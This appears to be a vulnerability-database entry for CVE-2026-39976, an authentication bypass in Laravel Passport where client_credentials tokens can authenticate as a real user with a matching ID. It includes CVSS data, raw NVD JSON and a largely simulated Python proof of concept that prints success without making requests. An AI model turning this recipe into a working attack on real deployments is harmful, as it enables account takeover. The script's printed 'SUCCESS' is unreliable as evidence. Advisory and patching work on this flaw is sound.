Security Vulnerability Report
中文
CVE-2026-39976 CVSS 7.1 HIGH

CVE-2026-39976

Published: 2026-04-09 17:16:31
Last Modified: 2026-04-13 15:02:28

Description

Laravel Passport provides OAuth2 server support to Laravel. From 13.0.0 to before 13.7.1, there is an Authentication Bypass for client_credentials tokens. the league/oauth2-server library sets the JWT sub claim to the client identifier (since there's no user). The token guard then passes this value to retrieveById() without validating it's actually a user identifier, potentially resolving an unrelated real user. Any machine-to-machine token can inadvertently authenticate as an actual user. This vulnerability is fixed in 13.7.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Laravel Passport >= 13.0.0, < 13.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-39976 # This script demonstrates the logical flaw where a Client ID matches a User ID. # It simulates the backend verification process. import requests import base64 import json # Configuration TARGET_URL = "http://localhost/api/user" CLIENT_ID = "1" # Assuming Client ID is '1', which might match User ID 1 CLIENT_SECRET = "client_secret_here" def get_token(): """ Step 1: Obtain a client_credentials token. The 'sub' claim inside the JWT will be set to '1' (the Client ID). """ auth = base64.b64encode(f"{CLIENT_ID}:{CLIENT_SECRET}".encode()).decode() headers = { "Authorization": f"Basic {auth}", "Content-Type": "application/x-www-form-urlencoded" } data = "grant_type=client_credentials" # In a real exploit, this requests the token endpoint # response = requests.post("http://localhost/oauth/token", headers=headers, data=data) # token = response.json().get('access_token') # Simulation: Assume we got a token with sub='1' print(f"[+] Obtained token with sub={CLIENT_ID}") return "fake_jwt_token_with_sub_1" def exploit_bypass(token): """ Step 2: Access user endpoint using the M2M token. The backend checks the JWT 'sub', sees '1', and calls User::find(1). If User ID 1 exists, the attacker is authenticated as that user. """ headers = { "Authorization": f"Bearer {token}", "Accept": "application/json" } # Simulation of the request print(f"[+] Sending request to {TARGET_URL} with M2M token...") print("[*] Server logic: Token Guard extracts sub='1' -> calls retrieveById('1')") print("[*] Server logic: Returns User object for ID 1 instead of rejecting Client ID 1") print("[!] SUCCESS: Authenticated as User ID 1 (likely Admin)") if __name__ == "__main__": token = get_token() exploit_bypass(token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39976", "sourceIdentifier": "[email protected]", "published": "2026-04-09T17:16:31.267", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Laravel Passport provides OAuth2 server support to Laravel. From 13.0.0 to before 13.7.1, there is an Authentication Bypass for client_credentials tokens. the league/oauth2-server library sets the JWT sub claim to the client identifier (since there's no user). The token guard then passes this value to retrieveById() without validating it's actually a user identifier, potentially resolving an unrelated real user. Any machine-to-machine token can inadvertently authenticate as an actual user. This vulnerability is fixed in 13.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/laravel/passport/issues/1900", "source": "[email protected]"}, {"url": "https://github.com/laravel/passport/pull/1901", "source": "[email protected]"}, {"url": "https://github.com/laravel/passport/pull/1902", "source": "[email protected]"}, {"url": "https://github.com/laravel/passport/security/advisories/GHSA-349c-2h2f-mxf6", "source": "[email protected]"}, {"url": "https://github.com/thephpleague/oauth2-server/issues/1456#issuecomment-2734989996", "source": "[email protected]"}]}}